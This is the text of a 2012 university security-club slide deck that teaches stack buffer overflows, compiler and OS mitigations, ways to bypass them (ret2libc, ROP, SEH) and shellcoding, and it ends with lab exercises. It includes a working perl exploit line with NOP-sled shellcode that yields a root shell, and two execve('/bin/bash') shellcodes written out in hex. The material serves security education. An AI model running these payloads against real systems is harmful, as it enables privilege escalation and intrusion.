  • 12. Introduction Stack Frame Stack Frame I The stack consists of logical stack frames that are pushed when calling a function and popped when returning. A stack frame contains the parameters to a function, its local variables, and the data necessary to recover the previous stack frame, including the value of the instruction pointer at the time of the function call. Depending on the implementation the stack will either grow down (towards lower memory addresses), or up. The stack pointer is also implementation dependent. It may point to the last address on the stack, or to the next free available address after the stack. In addition to the stack pointer, which points to the top of the stack, it is often convenient to have a frame pointer which points to a fixed location within a frame. Some texts also refer to it as a local base pointer. (CeSeNA) December 17, 2012 11 / 72
  • 13. Introduction Stack Frame Stack Frame II Stack In x86 architecture stack grows in opposite direction w.r.t. memory addresses. Also two registers are dedicated for stack management. EBP/RBP , points to the base of the stack-frame (higher address) EIP/RIP , points to the top of the stack-frame (lower address) (CeSeNA) December 17, 2012 12 / 72
  • 14. Introduction Stack Frame Stack Frame III Stack Frame Logical stack frames that are pushed when calling a function and popped when returning. A stack frame contains: Parameters passed to the called function (depends on calling convention, not true for linux64) Data necessary to recover the previous stack frame, including value of the instruction pointer at the time of the function call. Local variables (CeSeNA) December 17, 2012 13 / 72
  • 15. Introduction Stack Frame Stack Frame IV (CeSeNA) December 17, 2012 14 / 72
  • 16. Buffer Overflows Outline 1 Introduction DEP Smash the stack 4 Mitigations Bypass A brief time line Multiple Input and Static Areas Process Memory NOP Sledge Stack Frame JMP2Register 2 Buffer Overflows Exception Handler Unsafe functions Ret2libc Basic Overflow ROP Heap-based Overflow 5 Shellcoding Stack-based Overflow Syscalls 3 Security Data reference Programming Languages Zero-bytes problem Stack Cookies 6 Exercise ASLR 7 References (CeSeNA) December 17, 2012 15 / 72
  • 17. Buffer Overflows What is BOF? I Figure : BOF segmentation fault (CeSeNA) December 17, 2012 15 / 72
  • 18. Buffer Overflows What is BOF? II Also known as user$ ./note AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (CeSeNA) December 17, 2012 16 / 72
  • 19. Buffer Overflows How to use BOF? I Figure : BOF whoami: root (CeSeNA) December 17, 2012 17 / 72
  • 20. Buffer Overflows How to use BOF? II Also known as user$ ./note ‘perl -e ’printf("x90" x 153 . "x31xdbx31xc9x31xc0xb0xcbxcdx80x31xc0x50 x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50 x53x89xe1x31xd2xb0x0bxcdx80x31xdbxb0x01 xcdx80" . "x90" x 22 . "xefxbexadxde")’‘ sh-3.1# whoami root (CeSeNA) December 17, 2012 18 / 72
  • 21. Buffer Overflows Unsafe functions Unsafe functions I Unsafe C functions gets(): replace it with fgets() or gets s() strcpy(): replace it with strncpy() or strlcpy() strcat(): replace it with strncat() or strlcat() sprintf(): replace it with snprintf() printf(): improper use of it can lead to exploitation, never call it with variable char* instead of constant char*. Essentially, every C functions that don’t check the size of the destination buffers (CeSeNA) December 17, 2012 19 / 72
  • 22. Buffer Overflows Basic Overflow Basic Overflow I In the following example, a program has defined two data items which are adjacent in memory: an 8-byte-long string buffer, A, and a two-byte integer (short), B. Initially, A contains nothing but zero bytes, and B contains the number 1979. Characters are one byte wide. 1 char A[ 8 ] = {0 ,0 ,0 ,0 ,0 ,0 ,0 ,0}; 2 short B = 1979; Figure : A and B variables initial state (CeSeNA) December 17, 2012 20 / 72
  • 23. Buffer Overflows Basic Overflow Basic Overflow II Now, the program attempts to store the null-terminated string ”excessive” in the A buffer. ”excessive” is 9 characters long, and A can take 8 characters. By failing to check the length of the string, it overwrites the value of B 1 g e t s (A) ; Figure : A and B variables final state (CeSeNA) December 17, 2012 21 / 72
  • 24. Buffer Overflows Heap-based Overflow Heap-based Overflow I Heap-based overflow is a type of buffer overflow that occurs in the heap data area. Memory on the heap is dynamically allocated by the application at run-time and typically contains program data. Exploitation is performed by corrupting this data in specific ways to cause the application to overwrite internal structures such as linked list pointers. The canonical heap overflow technique overwrites dynamic memory allocation linkage (such as malloc meta data) and uses the resulting pointer exchange to overwrite a program function pointer. (CeSeNA) December 17, 2012 22 / 72
  • 25. Buffer Overflows Stack-based Overflow Stack-based Overflow I Stack-based buffer overflows manipulate the program to their advantage in one of several ways: By overwriting a local variable that is near the buffer in memory on the stack to change the behaviour of the program which may benefit the attacker. By overwriting a function pointer, or exception handler, which is subsequently executed. By overwriting the return address in a stack frame. Once the function returns, execution will resume at the return address as specified by the attacker, usually a user input filled buffer. (CeSeNA) December 17, 2012 23 / 72
  • 26. Buffer Overflows Stack-based Overflow Stack-based Overflow II ./note ”This is my sixth note” ./note AAAAAAAAAAAAAAAA... Memory: addNote(): 80484f9, Memory: addNote(): 80484f9 main(): 80484b4, buffer:bffff454, main(): 80484b4, buffer:bffff314 n_ebp: bffff528, n_esp: bffff450, n_ebp: bffff3e8, n_esp: bffff310 m_ebp: bffff538, m_esp: bffff534 m_ebp: bffff3f8, m_esp: bffff3f4 address hex val string val address hex val string val n_esp > bffff450: bffff450 ? ? ? P n_esp > bffff310: bffff310 ? ? ? buffer> bffff454: 73696854 s i h T buffer> bffff314: 41414141 A A A A bffff458: 20736920 s i bffff318: 41414141 A A A A bffff45c: 7320796d s y m bffff31c: 41414141 A A A A bffff460: 68747869 h t x i bffff320: 41414141 A A A A bffff464: 746f6e20 t o n bffff324: 41414141 A A A A bffff468: b7fc0065 ? ? e bffff328: 41414141 A A A A ... ... ... ... ... ... bffff510: 00000000 bffff3d0: 41414141 A A A A bffff514: 00000000 bffff3d4: 41414141 A A A A endBuf> bffff518: bffff538 ? ? ? 8 endBuf> bffff3d8: 41414141 A A A A bffff51c: 080487fb ? ? bffff3dc: 41414141 A A A A bffff520: b7fcaffc ? ? ? ? bffff3e0: 41414141 A A A A bffff524: 0804a008 ? bffff3e4: 0804a008 ? n_ebp > bffff528: bffff538 ? ? ? 8 n_ebp > bffff3e8: 41414141 A A A A n_ret > bffff52c: 080484ee ? ? n_ret > bffff3ec: 41414141 A A A A bffff530: bffff709 ? ? ? bffff3f0: 41414141 A A A A m_esp > bffff534: b8000ce0 ? ? m_esp > bffff3f4: 41414141 A A A A m_ebp > bffff538: bffff598 ? ? ? ? m_ebp > bffff3f8: 41414141 A A A A m_ret > bffff53c: b7eb4e14 ? ? N m_ret > bffff3fc: 41414141 A A A A bffff540: 00000002 bffff400: 41414141 A A A A Segmentation fault (CeSeNA) December 17, 2012 24 / 72
  • 27. Buffer Overflows Stack-based Overflow Stack-based Overflow III Overwriting the return address Memory: addNote(): 80484f9, bffff440: 01b0db31 ? ? 1 main(): 80484b4, buffer:bffff384 bffff444: 909080cd ? ? ? ? n_ebp: bffff458, n_esp: bffff380 endBuf> bffff448: 90909090 ? ? ? ? m_ebp: bffff468, m_esp: bffff464 bffff44c: 90909090 ? ? ? ? address hex val string val bffff450: 90909090 ? ? ? ? n_esp > bffff380: bffff380 ? ? ? ? bffff454: 0804a008 ? buffer> bffff384: 90909090 ? ? ? ? n_ebp > bffff458: 90909090 ? ? ? ? bffff388: 90909090 ? ? ? ? n_ret > bffff45c: bffff388 ? ? ? ? ... ... ... bffff460: bffff600 ? ? ? bffff418: 90909090 ? ? ? ? m_esp > bffff464: b8000ce0 ? ? bffff41c: 31db3190 1 ? 1 ? m_ebp > bffff468: bffff4c8 ? ? ? ? bffff420: b0c031c9 ? ? 1 ? m_ret > bffff46c: b7eb4e14 ? ? N bffff424: 3180cdcb 1 ? ? ? bffff470: 00000002 bffff428: 2f6850c0 / h P ? sh-3.1# whoami bffff42c: 6868732f h h s / root bffff430: 6e69622f n i b / sh-3.1# exit bffff434: 5350e389 S P ? ? bffff438: d231e189 ? 1 ? ? bffff43c: 80cd0bb0 ? ? ? (CeSeNA) December 17, 2012 25 / 72
  • 28. Security Outline 1 Introduction DEP Smash the stack 4 Mitigations Bypass A brief time line Multiple Input and Static Areas Process Memory NOP Sledge Stack Frame JMP2Register 2 Buffer Overflows Exception Handler Unsafe functions Ret2libc Basic Overflow ROP Heap-based Overflow 5 Shellcoding Stack-based Overflow Syscalls 3 Security Data reference Programming Languages Zero-bytes problem Stack Cookies 6 Exercise ASLR 7 References (CeSeNA) December 17, 2012 26 / 72
  • 29. Security Security Against Bofs How to secure the stack? Various methods and techniques. . . . . . and various consideration. Which programming language? How to deal with legacy code? How to develop automatic protection? (CeSeNA) December 17, 2012 26 / 72
  • 30. Security Programming Languages Security: Programming Language Do programming languages offer automatic stack protection? C/C++ these languages don’t provide built-int protection, but offer stack-safe libraries (e.g. strcpy () =⇒ strncpy ()). Java/.NET/Perl/Python/Ruby/. . . all these languages provide an automatic array bound check: no need for the programmer to care of it. According to www.tiobe.com C is the most used Programming Language in 2012. Legacy code still exists: it can’t be rewritten! Operating systems and compilers should offer automatic protections. (CeSeNA) December 17, 2012 27 / 72
  • 31. Security Stack Cookies Security: Automatic stack smashing detection using stack cookies An automatic protection introduced at compile time Random words (cookies) inserted into the stack during the function prologue. Before returning, the function epilogue checks if those words are intact. If a stack smash occurs, cookie smashing is very likely to happen. If so, the process enters in a failure state (e.g. raising a SIGSEV). (CeSeNA) December 17, 2012 28 / 72
  • 32. Security Stack Cookies Security: StackGuard (1998) A patch for older gcc “A simple compiler technique that virtually eliminates buffer overflow vulnerabilities with only modest performance penalties” [3]. It offers a method for detecting return address changes in a portable and efficient way. StackGuard uses a random canary word inserted before the return address. The callee, before returning, checks if the canary word is unaltered. (CeSeNA) December 17, 2012 29 / 72
  • 33. Security Stack Cookies Security: Stack-Smashing Protector (2001) An improved patch for gcc It uses a stack cookies (guard), to protect the base pointer. Relocate all arrays to the top of the stack in order to prevent variable corruption (B before C). Copies arguments into new variables below the arrays, preventing argument corruption (A copied into C). SSP is used by default since gcc 4.0 (2010), however some systems (like Arch Linux) keep it disabled. (CeSeNA) December 17, 2012 30 / 72
  • 34. Security Stack Cookies Security: SSP examples 1 v o i d t e s t ( i n t (∗ f ) ( i n t ) , i n t z , char ∗ buf ) { 2 char b u f f e r [ 6 4 ] ; i n t a = f ( z ) ; 3 } gcc -m32 -fno-stack-protector test.c gcc -m32 -fstack-protector test.c push ebp push ebp mov ebp , e s p mov ebp , e s p s u b esp , 0 x68 s u b esp , 0 x78 mov eax , [ ebp+0x c ] mov eax , [ ebp+0x8 ] mov [ e s p ] , e a x mov [ ebp−0x 5 c ] , e a x mov eax , [ ebp+0x8 ] mov eax , [ ebp+0x10 ] c a l l eax mov [ ebp−0x60 ] , e a x mov [ ebp−0x c ] , e a x mov eax , g s : 0 x14 leave mov [ ebp−0x c ] , e a x ret x o r eax , e a x mov eax , [ ebp+0x c ] mov [ e s p ] , e a x mov eax , [ ebp−0x 5 c ] c a l l eax mov [ ebp−0x50 ] , e a x mov eax , [ ebp−0x c ] x o r eax , g s : 0 x14 je 8048458 <t e s t +0x3c> c a l l 80482 f 0 < s t a c k c h k f a i l @ p l t > leave ret (CeSeNA) December 17, 2012 31 / 72
  • 35. Security ASLR Security: Address space layout randomization (∼ 2002) A runtime kernel protection Using PIC (position independent code) techniques and kernel aid, it’s possible to change at every execution the position of stack, code and library into the addressing space. Linux implements ASLR since 2.6.12. Linux ASLR changes the stack position. Windows has ASLR enabled by default since Windows Vista and Windows Server 2008. Window ASLR changes stack, heap and Process/Thread Environment Block position. (CeSeNA) December 17, 2012 32 / 72
  • 36. Security ASLR Security: ASLR example $ sudo s y s c t l −w k e r n e l . r a n d o m i z e v a s p a c e =1 $ f o r i i n { 1 . . 5 } ; do . / a s l r ; done BP : 0 x 7 f f f e 0 3 e 4 9 d 0 BP : 0 x 7 f f f 0 1 c d 4 4 a 0 BP : 0 x 7 f f f 2 3 a c 2 4 5 0 BP : 0 x 7 f f f a c c 7 2 f c 0 BP : 0 x 7 f f f a 2 0 f c a 5 0 $ sudo s y s c t l −w k e r n e l . r a n d o m i z e v a s p a c e =0 $ f o r i i n { 1 . . 5 } ; do . / a s l r ; done BP : 0 x 7 f f f f f f f e 7 5 0 BP : 0 x 7 f f f f f f f e 7 5 0 BP : 0 x 7 f f f f f f f e 7 5 0 BP : 0 x 7 f f f f f f f e 7 5 0 BP : 0 x 7 f f f f f f f e 7 5 0 (CeSeNA) December 17, 2012 33 / 72
  • 37. Security DEP Security: Data Execution Prevention (∼ 2004) Make a virtual page not executable Hardware support using the NX bit (Never eXecute) present in modern 64-bit CPUs or 32-bit CPUs with PAE enabled. NX software emulation techniques for older CPUs. First implemented on Linux 2.6.8 and on MS Windows since XP SP2 and Server 2003. Currently implemented by all OS (Linux, Mac OS X, iOS, Microsoft Windows and Android). (CeSeNA) December 17, 2012 34 / 72
  • 38. Mitigations Bypass Outline 1 Introduction DEP Smash the stack 4 Mitigations Bypass A brief time line Multiple Input and Static Areas Process Memory NOP Sledge Stack Frame JMP2Register 2 Buffer Overflows Exception Handler Unsafe functions Ret2libc Basic Overflow ROP Heap-based Overflow 5 Shellcoding Stack-based Overflow Syscalls 3 Security Data reference Programming Languages Zero-bytes problem Stack Cookies 6 Exercise ASLR 7 References (CeSeNA) December 17, 2012 35 / 72
  • 39. Mitigations Bypass Mitigations Bypass I Are these mitigations enough?? Spoiler: NO. ASLR bypass via multiple input, NOP sledge, jmp2reg, ROP . . . DEP bypass via ret2libc, ROP . . . Stack Cookie bypass via Exception Handler exploiting (and other techniques which aren’t treated here: eg. Heap-Overflow ...) This section aims to provide a quick overview on more advanced stack smashing. (CeSeNA) December 17, 2012 35 / 72
  • 40. Mitigations Bypass Multiple Input and Static Areas Multiple Input and Static Areas I Actually, not everything is randomized. . . Sections like .text or .bss (or some library memory space) are not randomized by ALSR. Expoit multiple input If we can put our shellcode into a variable located in these memory areas (eg. global var, static var, environment. . . ) then we should be able to correctly reference it. Enforcing this kind of attack often require to provide multiple inputs (at least one in the stack and another in a not randomized place) (CeSeNA) December 17, 2012 36 / 72
  • 41. Mitigations Bypass NOP Sledge NOP Sledge I What if randomization is not truly random? - In certain ALSR implementation (for several reasons) randomization might present recurrent set of address. - This enhance our chance to guess the right address, but it’s not enough NOP sledge - NOP (0x90) is the No OPeration instruction on x86 ISA - Adding a long NOP prologue to our shellcode increase the valid address range usable to jump to our shellcode. (CeSeNA) December 17, 2012 37 / 72
  • 42. Mitigations Bypass NOP Sledge NOP Sledge II Figure : NOP Sledge role during stack smashing (CeSeNA) December 17, 2012 38 / 72
  • 43. Mitigations Bypass JMP2Register JMP2Register I Changing scenario - No static memory location - No time to try to guess addresses Try to think at how variables are referenced in Assembly. . . Var. address could be stored in a register (CeSeNA) December 17, 2012 39 / 72
  • 44. Mitigations Bypass JMP2Register JMP2Register II Figure : Jmp2reg example with EBX register that contains an address of a stack memory location (area under attacker control) (CeSeNA) December 17, 2012 40 / 72
  • 45. Mitigations Bypass JMP2Register JMP2Register III What If no jmp reg ? Same trick could be exploited with other statements: call reg push reg; ret jmp [reg + offset] pop; ret if desired address lay on stack (pop;pop;ret pop;pop;pop;ret and so on) (CeSeNA) December 17, 2012 41 / 72
  • 46. Mitigations Bypass Exception Handler Exception Handler I As seen before some stack protection check if the stack as been smashed before function return. So classic “overwrite EBP+4” does not work. Many languages support custom exception handling statement (eg.C++) May we execute our shellcode instead of user defined handler? SEH based stack smashing Generally depends on how compiler handle user define Exception Handlers, and in many case its possible (with gcc and VC++ both). (CeSeNA) December 17, 2012 42 / 72
  • 47. Mitigations Bypass Exception Handler Exception Handler II Figure : Stack frame with SEH under Windows (CeSeNA) December 17, 2012 43 / 72
  • 48. Mitigations Bypass Ret2libc Ret2libc I Now we want to deal with DEP countermeasure. As you know no bytes in .data .stack .bss segments can be executed. What about executing some library code? libc function system(char*cmd) executes the command specified by the string pointed by its parameter. May we craft the stack in a manner to simulate a function call without CALL? (CeSeNA) December 17, 2012 44 / 72
  • 49. Mitigations Bypass Ret2libc Ret2libc II Figure : Ret2libc fashioned stack smashing, before ret (stdcall ia32) (CeSeNA) December 17, 2012 45 / 72
  • 50. Mitigations Bypass Ret2libc Ret2libc III Figure : Ret2libc fashioned stack smashing, executing target function prologue (stdcall ia32) (CeSeNA) December 17, 2012 46 / 72
  • 51. Mitigations Bypass ROP ROP I What if we need to provide a system() parameter which is in a randomized memory area? Is there a way to do some computation without code injection? Return Oriented Programming Programming technique that borrow chunks of pre-existent code, control flow is controlled by jumping to these “gadgets”. Gadget In ROP jargon a “gadget” is a collection of sequential instructions which end with a RET (0xc3) (typically one or two instruction before RET). NOTE: x86 works with processors unaligned memory addresses, so we can found lots of gadgets. . . (CeSeNA) December 17, 2012 47 / 72
  • 52. Mitigations Bypass ROP ROP II How to program in ROP ESP works similar to EIP, like a gadget Gadgets may not be what we exactly pointer need (eg. mov eax,esp; ret), they could Putting gadget address contain also undesired instruction (eg. on stack enable us to mov eax,esp;push ebx;ret) sequentially execute If program is sufficiently large, ROP arbitrary chunks of programming is codes. typicallyTuring-Complete By controlling ESP we Manual ROP programming is quite a could govern the ROP mess. . . some ROP Compilers exists :) control flow. (CeSeNA) December 17, 2012 48 / 72
  • 53. Mitigations Bypass ROP ROP III Figure : Stack during a ROP based stack smashing, try to figure out what happens (ia32) (CeSeNA) December 17, 2012 49 / 72
  • 54. Shellcoding Outline 1 Introduction DEP Smash the stack 4 Mitigations Bypass A brief time line Multiple Input and Static Areas Process Memory NOP Sledge Stack Frame JMP2Register 2 Buffer Overflows Exception Handler Unsafe functions Ret2libc Basic Overflow ROP Heap-based Overflow 5 Shellcoding Stack-based Overflow Syscalls 3 Security Data reference Programming Languages Zero-bytes problem Stack Cookies 6 Exercise ASLR 7 References (CeSeNA) December 17, 2012 50 / 72
  • 55. Shellcoding Shellcoding BOF payload A buffer overflow exploitation ends with the execution of an arbitrary payload. The payload is a sequence of machine code instructions. A common way to write shellcode is to use assembly language. Usually, the ultimate goal is to spawn a shell (hence shellcoding): 1 e x e c v e ( ” / b i n / b as h ” , [ ” / b i n / b a s h ” ] , [ ] ) ; (CeSeNA) December 17, 2012 50 / 72
  • 56. Shellcoding Shellcoding: Creation steps Assuming direct control 1 Invoke the execve syscall. 2 Refer the string “/bin/bash” and the argument array. 3 Optimize the payload. 4 Perform the buffer overflow. 1 e x e c v e ( ” / b i n / b as h ” , [ ” / b i n / b a s h ” ] , [ ] ) ; (CeSeNA) December 17, 2012 51 / 72
  • 57. Shellcoding Shellcoding: Syscalls Invoking a syscall Syscalls are invokable using a numerical id. Ids are defined into unistd 32.h for x86 systems and unistd 64.h for x86 64 systems. On x86 64 systems the assembler operation syscall execute the syscall identified by rax. On x86 systems the assembler operation int 80h raises a software interrupt, which leads to the execution of the syscall identified by eax. 1 ; e x i t (0) s y s c a l l 1 ; e x i t (0) s y s c a l l 2 mov r d i , 0 2 mov ebx , 0 3 mov r a x , 60 3 mov eax , 1 4 syscall 4 i n t 80 h (CeSeNA) December 17, 2012 52 / 72
  • 58. Shellcoding Shellcoding: The execve syscall 1 unistd 32 . h 2 #d e f i n e N R e x e c v e 11 3 unistd 64 . h 4 #d e f i n e N R e x e c v e 59 5 syscall .h 6 i n t k e r n e l e x e c v e ( const char ∗ filename , 7 const char ∗ const argv [ ] , 8 c o n s t c h a r ∗ c o n s t envp [ ] ) ; man 2 execve execve() executes the program pointed to by filename. argv is an array of argument strings passed to the new program. By convention, the first of these strings should contain the filename. envp is an array of strings, conventionally of the form key=value. Both argv and envp must be terminated by a NULL pointer. On Linux, argv [or envp] can be specified as NULL, which has the same effect as specifying this argument as a pointer to a list containing a single NULL pointer. 1 e x e c v e ( ” / b i n / b as h ” , [ ” / b i n / b a s h ” , NULL ] , NULL) ; (CeSeNA) December 17, 2012 53 / 72
  • 59. Shellcoding Shellcoding: Syscall and parameter passing How to pass parameters? Use the calling convention for syscalls! x86 64 rdi, rsi, rdx, r10, r8 and r9. x86 ebx, ecx, edx, esi, edi and ebp. Other parameters go into the stack. execve parameters: x86 64 rdi =⇒ ”/bin/bash” rsi =⇒ [”/bin/bash”, NULL] rdx =⇒ NULL x86 ebx =⇒ ”/bin/bash” ecx =⇒ [”/bin/bash”, NULL] edx =⇒ NULL (CeSeNA) December 17, 2012 54 / 72
  • 60. Shellcoding Shellcoding: Data reference I The reference problem The shellcode must know the reference of “/bin/bash”, argv and env. The shellcode is not compiled with the program it’s intended to run: it must be designed as a Position Independent Code, i.e. the shellcode can’t use absolute reference. Therefore you must use relative addressing, but before IA-64 it was not possible. 1 f i l e n a m e db ’ / b i n / b a s h ’ , 0 2 ; What w i l l be t h e a d d r e s s o f f i l e n a m e i n any program? 3 mov r d i , ? (CeSeNA) December 17, 2012 55 / 72
  • 61. Shellcoding Shellcoding: Data reference II Old IA-32 way You use a trick: jmp just before the data location, then do a call. The call Instruction pushes the next instruction pointer onto the stack, which is equal to the “/bin/bash” address. 1 jmp f i l e n a m e 2 run : 3 pop ebx ; ebx now c o n t a i n s ”/ b i n / b a s h ” r e f e r e n c e 4 ; ... 5 filename : 6 c a l l run 7 db ’ / b i n / b a s h ’ , 0 (CeSeNA) December 17, 2012 56 / 72
  • 62. Shellcoding Shellcoding: Data reference III New IA-64 way IA-64 introduces the RIP relative addressing. [rel filename] becomes [rip + offset] 1 l e a r d i , [ r e l message ] ; now r d i c o n t a i n s 2 ; the s t r i n g r e f e r e n c e 3 ; ... 4 5 f i l e n a m e db ’ / b i n / b a s h ’ , 0 (CeSeNA) December 17, 2012 57 / 72
  • 63. Shellcoding Shellcoding: Data reference IV Generic Way You can push the string in hex format into the stack. The stack pointer is then the string reference. 1 push 0 x00000068 ; 0 x00 , ’ h ’ 2 push 0 x 7 3 6 1 6 2 2 f ; ’ s a b / ’ 3 push 0 x 6 e 6 9 6 2 2 f ; ’ n i b / ’ 4 mov ebx , e s p ; now ebx c o n t a i n s t h e s t r i n g r e f e r e n c e 5 ; ... (CeSeNA) December 17, 2012 58 / 72
  • 64. Shellcoding Shellcode: first attempt I 1 b i t s 64 2 3 lea rdi , [ r e l filename ] ; filename 4 lea r s i , [ r e l args ] ; argv 5 mov rdx , 0 ; envp 6 7 mov [ r e l a r g s ] , r d i ; a r g v [ 0 ] <− f i l e n a m e 8 mov [ r e l a r g s +8] , r d x ; a r g v [ 1 ] <− n u l l 9 0 mov r a x , 59 1 syscall 2 3 f i l e n a m e db ’ / b i n / b a s h ’ , 0 4 a r g s db 16 (CeSeNA) December 17, 2012 59 / 72
  • 65. Shellcoding Shellcode: first attempt II 1 x48 x8d x3d x21 x00 x00 x00 x48 x x8d x35 x24 x00 x00 2 x00 xba x00 x00 x00 x00 x48 x89 x3d x18 x00 x x00 x00 3 x48 x89 x15 x19 x00 x00 x00 xb8 x3b x00 x00 x00 x 0 f 4 x05 x 2 f x62 x69 x6e x 2 f x62 x61 x73 x68 x00 x01 x00 5 x00 x00 x00 x00 x00 x00 x01 x00 x00 x00 x00 x00 x00 x00 Warning: zero-byte presence! Often shellcode payload are red as string. C strings are null-terminated array of chars. The vulnerable program will process only the first five bytes! (CeSeNA) December 17, 2012 60 / 72
  • 66. Shellcoding Shellcode: Zero-bytes problem Zero-bytes presence is caused by data and addresses mov rax, 11h is equivalent to mov rax, 0000000000000011h. lea rax, [rel message] is equivalent to lea rax, [rip + 0000. . . xxh]. execve, for instance, requires a null terminated string and some null parameters. Solutions Use xor operation to zero a register. Use smaller registers (e.g.: rax → eax → ax → [ah,al]) Use add operation: immediate operator is not expanded. Place non-null marker and substitute them inside the code. Make a relative reference offset negative. (CeSeNA) December 17, 2012 61 / 72
  • 67. Shellcoding Shellcode: second attempt I 1 b i t s 64 2 jmp code 3 f i l e n a m e db ’ / b i n / b a s h ’ , ’ n ’ ; ’ n ’ i s t h e m a r k e r 4 a r g s db 16 5 code : 6 lea rdi , [ r e l filename ] ; negative o f f s e t 7 lea rsi , [ r e l args ] ; negative o f f s e t 8 x o r rdx , r d x ; z e r o s r d x 9 mov [ r e l f i l e n a m e +10] , d l ; z e r o s t h e m a r k e r 0 mov [ r e l a r g s ] , r d i 1 mov [ r e l a r g s +8] , r d x 2 xor rax , rax ; z e r o s rax 3 mov a l , 59 ; u s e s s m a l l e r r e g i s t e r 4 syscall (CeSeNA) December 17, 2012 62 / 72
  • 68. Shellcoding Shellcode: second attempt II 1 xeb x0b x 2 f x62 x69 x6e x 2 f x62 x61 x73 x68 x6e 2 x10 x48 x8d x3d x e e x f f x f f x f f x48 x8d x35 x f 1 3 x f f x f f x f f x48 x31 xd2 x88 x15 xe8 x f f x f f x f f 4 x48 x89 x3d xe1 x f f x f f x f f x48 x89 x15 xe2 x f f 5 x f f x f f x48 x31 xc0 xb0 x3b x 0 f x05 Zero-bytes eliminated. (CeSeNA) December 17, 2012 63 / 72
  • 69. Exercise Outline 1 Introduction DEP Smash the stack 4 Mitigations Bypass A brief time line Multiple Input and Static Areas Process Memory NOP Sledge Stack Frame JMP2Register 2 Buffer Overflows Exception Handler Unsafe functions Ret2libc Basic Overflow ROP Heap-based Overflow 5 Shellcoding Stack-based Overflow Syscalls 3 Security Data reference Programming Languages Zero-bytes problem Stack Cookies 6 Exercise ASLR 7 References (CeSeNA) December 17, 2012 64 / 72
  • 70. Exercise Exercise I Exercises source available at http://goo.gl/WupDs Some exercises need to connect via ssh to cesena.ing2.unibo.it as pwn at port 7357 to test your solution. (ssh pwn@cesena.ing2.unibo.it -p 7357) Figure : Exercises source (CeSeNA) December 17, 2012 64 / 72
  • 71. Exercise Exercise II Warming up auth Just a basic overflow. Don’t look too far, it’s just next to you. (CeSeNA) December 17, 2012 65 / 72
  • 72. Exercise Exercise III Function pointer overwrite nameless Hey! A function pointer! Yes, we probably need gdb (CeSeNA) December 17, 2012 66 / 72
  • 73. Exercise Exercise IV Return OverWrite Easy rowe We are getting serious You’ll have to OverWrite the return address! (CeSeNA) December 17, 2012 67 / 72
  • 74. Exercise Exercise V Return OverWrite Hard rowh Just like the previuos, but can you also prepare the data on the stack? (CeSeNA) December 17, 2012 68 / 72
  • 75. Exercise Exercise VI Notes program note Sample notes program, ./note reads the notes, ./note ”my note” adds a note You’ll need a shellcode. (CeSeNA) December 17, 2012 69 / 72
  • 76. References Outline 1 Introduction DEP Smash the stack 4 Mitigations Bypass A brief time line Multiple Input and Static Areas Process Memory NOP Sledge Stack Frame JMP2Register 2 Buffer Overflows Exception Handler Unsafe functions Ret2libc Basic Overflow ROP Heap-based Overflow 5 Shellcoding Stack-based Overflow Syscalls 3 Security Data reference Programming Languages Zero-bytes problem Stack Cookies 6 Exercise ASLR 7 References (CeSeNA) December 17, 2012 70 / 72
  • 77. References References I Erik Buchanan, Ryan Roemer, Stefan Savage, and Hovav Shacham. Return-oriented programming: Exploitation without code injection. BlackHat USA 2008, 2008. c0ntex. Bypassing non-executable-stack during exploitation using return-to-libc. http://www.infosecwriters.com/text_resources/pdf/ return-to-libc.pdf, 2006. Crispan Cowan, Calton Pu, Dave Maier, Jonathan Walpole, Peat Bakke, Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang. Stackguard: Automatic adaptive detection and prevention of buffer-overflow attacks. In USENIX Security Symposium, volume 7th, January 1998. (CeSeNA) December 17, 2012 70 / 72
  • 78. References References II Linux Foundation. Linux documentation. http://linux.die.net/. Igor Skochinsky Hex-Rays. Compiler internals: Exceptions and rtti. http://www.hexblog.com/, 2012. Intel. Intel R 64 and IA-32 Architectures Software Developer’s Manuale Combined Volumes:1, 2A, 2B, 3C, 3A, 3B and 3C. Intel, August 2012. Aleph One. Smashing the stack for fun and profit. http://insecure.org/stf/smashstack.html, 1996. (CeSeNA) December 17, 2012 71 / 72
  • 79. References References III IBM Research. Gcc extension for protecting applications from stack-smashing attacks. http://www.research.ibm.com/trl/projects/security/ssp/, 2005. G. Adam Stanislav. http://www.int80h.org/. Corelan Team. Exploit writing tutorial part 3 : Seh based exploits. http://www.corelan.be, 2009. (CeSeNA) December 17, 2012 72 / 72